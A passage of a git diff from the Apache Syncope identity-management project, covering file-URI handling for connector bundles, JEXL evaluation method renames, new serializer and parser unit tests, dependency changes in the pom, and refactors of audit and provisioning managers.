if (candidate.startsWith("file:")) { - uri = new File(new URL(candidate).getFile()).getAbsoluteFile().toURI(); + candidate = StringUtils.substringAfter(candidate, "file:"); + if (SystemUtils.IS_OS_WINDOWS) { + candidate = StringUtils.stripStart(candidate, "/"); + } + + uri = Path.of(candidate).toFile().getAbsoluteFile().toURI(); } else { uri = new URI(candidate); } diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/IntAttrNameParserTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/IntAttrNameParserTest.java index 4f195ec1abc..76113f79eb2 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/IntAttrNameParserTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/IntAttrNameParserTest.java @@ -96,6 +96,7 @@ public void initMocks() throws NoSuchFieldException { case "email": case "firstname": case "location": + case "user.valueWithDot": PlainSchema schema = mock(PlainSchema.class); lenient().when(schema.getKey()).thenReturn(schemaName); lenient().when(schema.getType()).thenReturn(AttrSchemaType.String); @@ -362,4 +363,13 @@ public void invalid() { assertNotNull(e); } } + + @Test + public void issueSYNCOPE1894() throws ParseException { + IntAttrName intAttrName = intAttrNameParser.parse("user.valueWithDot", AnyTypeKind.USER); + assertNotNull(intAttrName); + assertEquals(AnyTypeKind.USER, intAttrName.getAnyTypeKind()); + assertNull(intAttrName.getField()); + assertEquals("user.valueWithDot", intAttrName.getSchema().getKey()); + } } diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/PropagationByResourceTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/PropagationByResourceTest.java index 4723ab9558c..fbe38200ede 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/PropagationByResourceTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/PropagationByResourceTest.java @@ -116,13 +116,38 @@ public void remove() { @Test public void removeAll() { Set keys = new HashSet<>(); - keys.add("testKey1"); - keys.add("testKey2"); + String key1 = "key1"; + String key2 = "key2"; + keys.add(key1); + keys.add(key2); assertFalse(propagationByResource.removeAll(ResourceOperation.CREATE, keys)); assertFalse(propagationByResource.removeAll(ResourceOperation.UPDATE, keys)); assertFalse(propagationByResource.removeAll(ResourceOperation.DELETE, keys)); assertFalse(propagationByResource.removeAll(ResourceOperation.NONE, keys)); + + propagationByResource.add(ResourceOperation.CREATE, key1); + propagationByResource.add(ResourceOperation.UPDATE, key2); + assertTrue(propagationByResource.removeAll(keys)); + assertFalse(propagationByResource.contains(key1)); + assertFalse(propagationByResource.contains(key2)); + } + + @Test + public void retainAll() { + Set keys = new HashSet<>(); + String key1 = "key1"; + String key2 = "key2"; + String key3 = "key3"; + keys.add(key1); + + propagationByResource.add(ResourceOperation.CREATE, key1); + propagationByResource.add(ResourceOperation.UPDATE, key2); + propagationByResource.add(ResourceOperation.DELETE, key3); + assertTrue(propagationByResource.retainAll(keys)); + assertTrue(propagationByResource.contains(key1)); + assertFalse(propagationByResource.contains(key2)); + assertFalse(propagationByResource.contains(key3)); } @Test diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MailTemplateTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MailTemplateTest.java index bfb6a2c7684..9cc4e36a8ab 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MailTemplateTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MailTemplateTest.java @@ -23,7 +23,6 @@ import static org.junit.jupiter.api.Assertions.assertTrue; import java.io.IOException; -import java.io.StringWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.List; @@ -65,17 +64,9 @@ public class MailTemplateTest extends AbstractTest { + " $$ for(membership : user.memberships) {\n
  • ${membership.groupName}
    • \n $$ }\n" + " \n $$ }\n "; - private static String evaluate(final String template, final Map jexlVars) { - StringWriter writer = new StringWriter(); - JexlUtils.newJxltEngine(). - createTemplate(template). - evaluate(new MapContext(jexlVars), writer); - return writer.toString(); - } - @Test public void confirmPasswordReset() throws IOException { - String htmlBody = evaluate(CONFIRM_PASSWORD_RESET_TEMPLATE, new HashMap<>()); + String htmlBody = JexlUtils.evaluateTemplate(CONFIRM_PASSWORD_RESET_TEMPLATE, new MapContext()); assertNotNull(htmlBody); } @@ -93,7 +84,7 @@ public void requestPasswordReset() throws IOException { input.add(token); ctx.put("input", input); - String textBody = evaluate(REQUEST_PASSWORD_RESET_TEMPLATE, ctx); + String textBody = JexlUtils.evaluateTemplate(REQUEST_PASSWORD_RESET_TEMPLATE, new MapContext(ctx)); assertNotNull(textBody); assertTrue(textBody.contains("a password reset was requested for " + username + ".")); @@ -129,7 +120,7 @@ public void optin() throws IOException { ctx.put("events", List.of("event1")); - String htmlBody = evaluate(OPTIN_TEMPLATE, ctx); + String htmlBody = JexlUtils.evaluateTemplate(OPTIN_TEMPLATE, new MapContext(ctx)); assertNotNull(htmlBody); diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MappingTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MappingTest.java index 0199413bbcb..9badb8fa4be 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MappingTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/jexl/MappingTest.java @@ -23,6 +23,7 @@ import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; +import java.time.OffsetDateTime; import org.apache.commons.jexl3.JexlContext; import org.apache.commons.jexl3.MapContext; import org.apache.syncope.core.persistence.api.entity.Realm; @@ -46,10 +47,10 @@ public void anyConnObjectLink() { JexlUtils.addFieldsToContext(user, jexlContext); String connObjectLink = "'uid=' + username + ',ou=people,o=isp'"; - assertEquals("uid=rossini,ou=people,o=isp", JexlUtils.evaluate(connObjectLink, jexlContext)); + assertEquals("uid=rossini,ou=people,o=isp", JexlUtils.evaluateExpr(connObjectLink, jexlContext)); connObjectLink = "'uid=' + username + realm.replaceAll('/', ',o=') + ',ou=people,o=isp'"; - assertEquals("uid=rossini,o=even,ou=people,o=isp", JexlUtils.evaluate(connObjectLink, jexlContext)); + assertEquals("uid=rossini,o=even,ou=people,o=isp", JexlUtils.evaluateExpr(connObjectLink, jexlContext)); } @Test @@ -62,7 +63,7 @@ public void realmConnObjectLink() { JexlUtils.addFieldsToContext(realm, jexlContext); String connObjectLink = "syncope:fullPath2Dn(fullPath, 'ou') + ',o=isp'"; - assertEquals("ou=two,ou=even,o=isp", JexlUtils.evaluate(connObjectLink, jexlContext)); + assertEquals("ou=two,ou=even,o=isp", JexlUtils.evaluateExpr(connObjectLink, jexlContext)); when(realm.getFullPath()).thenReturn("/even"); assertNotNull(realm); @@ -70,6 +71,17 @@ public void realmConnObjectLink() { jexlContext = new MapContext(); JexlUtils.addFieldsToContext(realm, jexlContext); - assertEquals("ou=even,o=isp", JexlUtils.evaluate(connObjectLink, jexlContext)); + assertEquals("ou=even,o=isp", JexlUtils.evaluateExpr(connObjectLink, jexlContext)); + } + + @Test + public void datetime() { + OffsetDateTime now = OffsetDateTime.now(); + + JexlContext jexlContext = new MapContext(); + jexlContext.set("value", now); + + String expression = "value.toInstant().toEpochMilli()"; + assertEquals(now.toInstant().toEpochMilli(), JexlUtils.evaluateExpr(expression, jexlContext)); } } diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/PropagationTaskInfoSerializerTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/PropagationTaskInfoSerializerTest.java new file mode 100644 index 00000000000..e77762cb04d --- /dev/null +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/PropagationTaskInfoSerializerTest.java @@ -0,0 +1,77 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.api.serialization; + +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.databind.SerializerProvider; +import java.io.IOException; +import java.util.UUID; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.ResourceOperation; +import org.apache.syncope.core.persistence.api.entity.ConnInstance; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.task.PropagationData; +import org.apache.syncope.core.provisioning.api.AbstractTest; +import org.apache.syncope.core.provisioning.api.Connector; +import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; +import org.identityconnectors.framework.common.objects.ObjectClass; +import org.junit.jupiter.api.Test; +import org.mockito.Mock; + +public class PropagationTaskInfoSerializerTest extends AbstractTest { + + @Test + public void propagationTaskInfoSerializer(final @Mock JsonGenerator jgen, final @Mock SerializerProvider sp) + throws IOException { + + PropagationTaskInfoSerializer serializer = new PropagationTaskInfoSerializer(); + ExternalResource resource = mock(ExternalResource.class); + when(resource.getKey()).thenReturn("resource-ldap"); + PropagationData propagationData = mock(PropagationData.class); + PropagationTaskInfo source = + new PropagationTaskInfo(resource, + ResourceOperation.UPDATE, + ObjectClass.ACCOUNT, + AnyTypeKind.USER, + AnyTypeKind.USER.name(), + UUID.randomUUID().toString(), + UUID.randomUUID().toString(), + propagationData); + source.setKey(UUID.randomUUID().toString()); + Connector connector = mock(Connector.class); + ConnInstance connInstance = mock(ConnInstance.class); + when(connInstance.getKey()).thenReturn(UUID.randomUUID().toString()); + when(connector.getConnInstance()).thenReturn(connInstance); + source.setConnector(connector); + serializer.serialize(source, jgen, sp); + verify(jgen).writeStartObject(); + verify(jgen).writeStringField("key", source.getKey()); + verify(jgen).writeStringField("anyType", source.getAnyType()); + verify(jgen).writeStringField("entityKey", source.getEntityKey()); + verify(jgen).writeStringField("connObjectKey", source.getConnObjectKey()); + verify(jgen).writeStringField("oldConnObjectKey", source.getOldConnObjectKey()); + verify(jgen).writeObjectField("propagationData", source.getPropagationData()); + verify(jgen).writeObjectField("connector", source.getConnector().getConnInstance().getKey()); + verify(jgen).writeEndObject(); + } +} diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializerTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializerTest.java index bae5e268733..8c179f883b4 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializerTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/serialization/SyncTokenSerializerTest.java @@ -18,13 +18,12 @@ */ package org.apache.syncope.core.provisioning.api.serialization; -import static org.mockito.ArgumentMatchers.anyString; -import static org.mockito.Mockito.times; import static org.mockito.Mockito.verify; import com.fasterxml.jackson.core.JsonGenerator; import com.fasterxml.jackson.databind.SerializerProvider; import java.io.IOException; +import java.util.Base64; import java.util.UUID; import org.apache.syncope.core.provisioning.api.AbstractTest; import org.identityconnectors.framework.common.objects.SyncToken; @@ -42,32 +41,37 @@ public void syncTokenSerializer( SyncToken source = new SyncToken(UUID.randomUUID().toString()); serializer.serialize(source, jgen, sp); verify(jgen).writeStartObject(); - verify(jgen).writeFieldName("value"); + verify(jgen).writeStringField("type", "String"); + verify(jgen).writeStringField("value", source.getValue().toString()); verify(jgen).writeEndObject(); boolean bool = false; source = new SyncToken(bool); serializer.serialize(source, jgen, sp); - verify(jgen).writeBoolean(bool); + verify(jgen).writeStringField("type", "Boolean"); + verify(jgen).writeBooleanField("value", false); double doubleNum = 9000.1; source = new SyncToken(doubleNum); serializer.serialize(source, jgen, sp); - verify(jgen).writeNumber(doubleNum); + verify(jgen).writeStringField("type", "Double"); + verify(jgen).writeNumberField("value", doubleNum); long longNum = 9001; source = new SyncToken(longNum); serializer.serialize(source, jgen, sp); - verify(jgen).writeNumber(longNum); + verify(jgen).writeStringField("type", "Long"); + verify(jgen).writeNumberField("value", longNum); int intNum = 9000; source = new SyncToken(intNum); serializer.serialize(source, jgen, sp); - verify(jgen).writeNumber(intNum); + verify(jgen).writeStringField("type", "Integer"); + verify(jgen).writeNumberField("value", intNum); byte[] bytes = new byte[] { 9, 0, 0, 1 }; source = new SyncToken(bytes); serializer.serialize(source, jgen, sp); - verify(jgen, times(2)).writeString(anyString()); + verify(jgen).writeStringField("value", Base64.getEncoder().encodeToString(bytes)); } } diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/JexlUtilsTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/JexlUtilsTest.java index 54b352dd8ec..36adee8ded7 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/JexlUtilsTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/JexlUtilsTest.java @@ -20,7 +20,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; -import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertTrue; import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.anyString; @@ -34,7 +33,6 @@ import java.util.HashMap; import java.util.Map; import org.apache.commons.jexl3.JexlContext; -import org.apache.commons.jexl3.JxltEngine; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.to.AnyTO; @@ -54,17 +52,9 @@ public class JexlUtilsTest extends AbstractTest { @Mock private JexlContext context; - private String expression; - - @Test - public void newJxltEngine() { - JxltEngine engine = JexlUtils.newJxltEngine(); - assertNotNull(engine); - } - @Test public void isExpressionValid() { - expression = "6 * 12 + 5 / 2.6"; + String expression = "6 * 12 + 5 / 2.6"; assertTrue(JexlUtils.isExpressionValid(expression)); expression = "@inv4lid expression!"; @@ -73,11 +63,12 @@ public void isExpressionValid() { @Test public void evaluate() { - assertEquals(StringUtils.EMPTY, JexlUtils.evaluate(expression, context)); + String expression = null; + assertEquals(StringUtils.EMPTY, JexlUtils.evaluateExpr(expression, context)); expression = "6 * 12 + 5 / 2.6"; double result = 73.92307692307692; - assertEquals(result, JexlUtils.evaluate(expression, context)); + assertEquals(result, JexlUtils.evaluateExpr(expression, context)); } @Test @@ -143,6 +134,8 @@ public void addDerAttrsToContext( final @Mock Any any, final @Mock DerSchema derSchema) { + String expression = null; + Map derAttrs = new HashMap<>(); derAttrs.put(derSchema, expression); @@ -158,6 +151,8 @@ public void evaluateMandatoryCondition( final @Mock DerSchema derSchema, final @Mock Collection> plainAttrs) { + String expression = null; + Map derAttrs = new HashMap<>(); derAttrs.put(derSchema, expression); diff --git a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/URIUtilsTest.java b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/URIUtilsTest.java index 39db5247cad..8c24a55cf64 100644 --- a/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/URIUtilsTest.java +++ b/core/provisioning-api/src/test/java/org/apache/syncope/core/provisioning/api/utils/URIUtilsTest.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.provisioning.api.utils; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertThrows; @@ -41,5 +42,8 @@ public void buildForConnId() throws URISyntaxException, MalformedURLException { location.set("connid:test/location"); URI expectedURI = new URI(location.get().trim()); assertEquals(expectedURI, URIUtils.buildForConnId(location.get())); + + assertDoesNotThrow(() -> URIUtils.buildForConnId("file:Z:\\syncope\\fit\\core-reference\\target/bundles/")); + assertDoesNotThrow(() -> URIUtils.buildForConnId("file:/Z:\\syncope\\fit\\core-reference\\target/bundles/")); } } diff --git a/core/provisioning-api/src/test/resources/simplelogger.properties b/core/provisioning-api/src/test/resources/simplelogger.properties index 973e0096ff1..030d4d091c1 100644 --- a/core/provisioning-api/src/test/resources/simplelogger.properties +++ b/core/provisioning-api/src/test/resources/simplelogger.properties @@ -17,5 +17,6 @@ # See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html # Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS org.slf4j.simpleLogger.defaultLogLevel=debug - diff --git a/core/provisioning-java/pom.xml b/core/provisioning-java/pom.xml index fda5ce3d61f..d3e4bc95ace 100644 --- a/core/provisioning-java/pom.xml +++ b/core/provisioning-java/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Provisioning Java @@ -58,48 +58,23 @@ under the License. spring-jdbc - - com.github.ben-manes.caffeine - caffeine - - org.apache.geronimo.javamail geronimo-javamail_1.4_mail - com.fasterxml.jackson.dataformat - jackson-dataformat-csv + org.bitbucket.b_c + jose4j - org.apache.groovy - groovy - - - org.apache.groovy - groovy-templates - - - org.apache.groovy - groovy-xml - - - org.apache.groovy - groovy-jsr223 - - - org.apache.groovy - groovy-datetime - - - org.apache.groovy - groovy-dateutil + com.fasterxml.jackson.dataformat + jackson-dataformat-csv - org.apache.groovy - groovy-sql + org.apache.pdfbox + pdfbox @@ -175,6 +150,17 @@ under the License. + + org.apache.maven.plugins + maven-surefire-plugin + + + ${project.build.directory}/test-classes + file:${bundles.directory}/ + + + + org.apache.maven.plugins maven-checkstyle-plugin @@ -192,13 +178,6 @@ under the License. src/test/resources true - - ${basedir}/../persistence-jpa/src/main/resources - - persistence.properties - - true - ${basedir}/../persistence-jpa/src/test/resources true diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ConnectorFacadeProxy.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ConnectorFacadeProxy.java index 68cc8a56bca..5cb0c6dbd3f 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ConnectorFacadeProxy.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/ConnectorFacadeProxy.java @@ -20,6 +20,7 @@ import java.io.File; import java.net.URI; +import java.nio.file.Path; import java.util.List; import java.util.Set; import java.util.concurrent.Future; @@ -239,7 +240,7 @@ public Set updateDelta( if (connInstance.getCapabilities().contains(ConnectorCapability.UPDATE_DELTA)) { propagationAttempted.set(true); - Future> future = + Future> future = asyncFacade.updateDelta(connector, objectClass, uid, modifications, options); try { @@ -508,19 +509,19 @@ private static Object getPropertyValue(final String propType, final List valu value = values.get(0) == null || values.get(0).toString().isEmpty() ? null : values.get(0).toString().charAt(0); } else if (Integer.class.equals(propertySchemaClass) || Integer.TYPE.equals(propertySchemaClass)) { - value = Integer.parseInt(values.get(0).toString()); + value = Integer.valueOf(values.get(0).toString()); } else if (Long.class.equals(propertySchemaClass) || Long.TYPE.equals(propertySchemaClass)) { - value = Long.parseLong(values.get(0).toString()); + value = Long.valueOf(values.get(0).toString()); } else if (Float.class.equals(propertySchemaClass) || Float.TYPE.equals(propertySchemaClass)) { - value = Float.parseFloat(values.get(0).toString()); + value = Float.valueOf(values.get(0).toString()); } else if (Double.class.equals(propertySchemaClass) || Double.TYPE.equals(propertySchemaClass)) { - value = Double.parseDouble(values.get(0).toString()); + value = Double.valueOf(values.get(0).toString()); } else if (Boolean.class.equals(propertySchemaClass) || Boolean.TYPE.equals(propertySchemaClass)) { - value = Boolean.parseBoolean(values.get(0).toString()); + value = Boolean.valueOf(values.get(0).toString()); } else if (URI.class.equals(propertySchemaClass)) { value = URI.create(values.get(0).toString()); } else if (File.class.equals(propertySchemaClass)) { - value = new File(values.get(0).toString()); + value = Path.of(values.get(0).toString()).toFile(); } else if (String[].class.equals(propertySchemaClass)) { value = values.toArray(String[]::new); } else { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java index 673086c25fa..839ae78950a 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java @@ -115,7 +115,7 @@ public Pair> update( AnyTypeKind.ANY_OBJECT, anyObjectUR.getKey(), null, - false, + List.of(), null, excludedResources); @@ -123,16 +123,16 @@ public Pair> update( List taskInfos = propagationManager.setAttributeDeltas( propagationManager.getUpdateTasks( + updated.getResult(), AnyTypeKind.ANY_OBJECT, updated.getResult().getKey(), - false, + List.of(), null, updated.getPropByRes(), null, anyObjectUR.getVirAttrs(), excludedResources), - beforeAttrs, - updated.getResult()); + beforeAttrs); PropagationReporter propagationReporter = taskExecutor.execute(taskInfos, nullPriorityAsync, updater); return Pair.of(updated.getResult(), propagationReporter.getStatuses()); @@ -196,9 +196,10 @@ public List provision( propByRes.addAll(ResourceOperation.UPDATE, resources); List taskInfos = propagationManager.getUpdateTasks( + null, AnyTypeKind.ANY_OBJECT, key, - false, + List.of(), null, propByRes, null, diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAuditManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAuditManager.java index 80c43b09318..e42b276c9a4 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAuditManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAuditManager.java @@ -96,18 +96,16 @@ public boolean auditRequested( auditEntry.setDate(OffsetDateTime.now()); AuditConf auditConf = auditConfDAO.find(auditEntry.getLogger().toAuditKey()); - boolean auditRequested = auditConf != null && auditConf.isActive(); - if (auditRequested) { + if (auditConf != null && auditConf.isActive()) { return true; } auditEntry.setLogger(new AuditLoggerName(type, category, subcategory, event, Result.FAILURE)); auditConf = auditConfDAO.find(auditEntry.getLogger().toAuditKey()); - auditRequested = auditConf != null && auditConf.isActive(); - return auditRequested; + return auditConf != null && auditConf.isActive(); } @Transactional(propagation = Propagation.NOT_SUPPORTED) @@ -151,16 +149,20 @@ public void audit( auditEntry.setWho(who); auditEntry.setLogger(auditLoggerName); auditEntry.setDate(OffsetDateTime.now()); - auditEntry.setBefore(POJOHelper.serialize((maskSensitive(before)))); + auditEntry.setBefore(before instanceof String + ? (String) before + : POJOHelper.serialize((maskSensitive(before)))); if (throwable == null) { - auditEntry.setOutput(POJOHelper.serialize((maskSensitive(output)))); + auditEntry.setOutput(output instanceof String + ? (String) output + : POJOHelper.serialize((maskSensitive(output)))); } else { auditEntry.setOutput(throwable.getMessage()); auditEntry.setThrowable(ExceptionUtils2.getFullStackTrace(throwable)); } if (input != null) { auditEntry.getInputs().addAll(Arrays.stream(input). - map(DefaultAuditManager::maskSensitive).map(POJOHelper::serialize). + map(item -> item instanceof String ? (String) item : POJOHelper.serialize(maskSensitive(item))). collect(Collectors.toList())); } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnIdBundleManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnIdBundleManager.java index 9e18cfdb9cc..e20eb9ece73 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnIdBundleManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnIdBundleManager.java @@ -22,6 +22,7 @@ import java.io.IOException; import java.net.URI; import java.net.URL; +import java.nio.file.Path; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import java.util.ArrayList; @@ -83,7 +84,7 @@ public List getLocations() { protected void initLocal(final URI location) { // 1. Find bundles inside local directory - File bundleDirectory = new File(location); + File bundleDirectory = Path.of(location).toFile(); String[] bundleFiles = bundleDirectory.list(); if (bundleFiles == null) { throw new NotFoundException("Local bundles directory " + location); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnectorManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnectorManager.java index e1560cbb1a7..1135a377082 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnectorManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultConnectorManager.java @@ -177,11 +177,18 @@ public void registerConnector(final ExternalResource resource) { LOG.debug("Successfully registered bean {}", beanName); } - @Override - public void unregisterConnector(final String id) { + protected void unregisterConnector(final String id) { ApplicationContextProvider.getBeanFactory().destroySingleton(id); } + @Override + public void unregisterConnector(final ExternalResource resource) { + String beanName = getBeanName(resource); + if (ApplicationContextProvider.getBeanFactory().containsSingleton(beanName)) { + unregisterConnector(beanName); + } + } + @Transactional(readOnly = true) @Override public void load() { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultDerAttrHandler.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultDerAttrHandler.java index a6b4329d5cd..efaec78a28d 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultDerAttrHandler.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultDerAttrHandler.java @@ -47,7 +47,7 @@ protected static Map getValues(final Any any, final Set getValues( JexlUtils.addPlainAttrsToContext(any.getPlainAttrs(membership), jexlContext); JexlUtils.addFieldsToContext(any, jexlContext); - result.put(schema, JexlUtils.evaluate(schema.getExpression(), jexlContext).toString()); + result.put(schema, JexlUtils.evaluateExpr(schema.getExpression(), jexlContext).toString()); }); return result; diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java index a43f5e7c741..65e3c06b954 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java @@ -135,7 +135,7 @@ public Pair> update( AnyTypeKind.GROUP, groupUR.getKey(), null, - false, + List.of(), null, excludedResources); @@ -143,16 +143,16 @@ public Pair> update( List tasks = propagationManager.setAttributeDeltas( propagationManager.getUpdateTasks( + updated.getResult(), AnyTypeKind.GROUP, updated.getResult().getKey(), - false, + List.of(), null, updated.getPropByRes(), null, groupUR.getVirAttrs(), excludedResources), - beforeAttrs, - updated.getResult()); + beforeAttrs); PropagationReporter propagationReporter = taskExecutor.execute(tasks, nullPriorityAsync, updater); return Pair.of(updated.getResult(), propagationReporter.getStatuses()); @@ -231,9 +231,10 @@ public List provision( propByRes.addAll(ResourceOperation.UPDATE, resources); List taskInfos = propagationManager.getUpdateTasks( + null, AnyTypeKind.GROUP, key, - false, + List.of(), null, propByRes, null, diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultMappingManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultMappingManager.java index 4669e9c7eab..a0c1a19a11e 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultMappingManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultMappingManager.java @@ -95,7 +95,6 @@ import org.apache.syncope.core.provisioning.java.utils.ConnObjectUtils; import org.apache.syncope.core.provisioning.java.utils.MappingUtils; import org.apache.syncope.core.spring.security.Encryptor; -import org.apache.syncope.core.spring.security.PasswordGenerator; import org.identityconnectors.framework.common.FrameworkUtil; import org.identityconnectors.framework.common.objects.Attribute; import org.identityconnectors.framework.common.objects.AttributeBuilder; @@ -111,8 +110,6 @@ public class DefaultMappingManager implements MappingManager { protected static final Logger LOG = LoggerFactory.getLogger(MappingManager.class); - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected final AnyTypeDAO anyTypeDAO; protected final UserDAO userDAO; @@ -135,8 +132,6 @@ public class DefaultMappingManager implements MappingManager { protected final VirAttrCache virAttrCache; - protected final PasswordGenerator passwordGenerator; - protected final AnyUtilsFactory anyUtilsFactory; protected final IntAttrNameParser intAttrNameParser; @@ -153,7 +148,6 @@ public DefaultMappingManager( final DerAttrHandler derAttrHandler, final VirAttrHandler virAttrHandler, final VirAttrCache virAttrCache, - final PasswordGenerator passwordGenerator, final AnyUtilsFactory anyUtilsFactory, final IntAttrNameParser intAttrNameParser) { @@ -168,7 +162,6 @@ public DefaultMappingManager( this.derAttrHandler = derAttrHandler; this.virAttrHandler = virAttrHandler; this.virAttrCache = virAttrCache; - this.passwordGenerator = passwordGenerator; this.anyUtilsFactory = anyUtilsFactory; this.intAttrNameParser = intAttrNameParser; } @@ -258,7 +251,7 @@ protected Name evaluateNAME(final Any any, final Provision provision, final S JexlUtils.addFieldsToContext(any, jexlContext); JexlUtils.addPlainAttrsToContext(any.getPlainAttrs(), jexlContext); 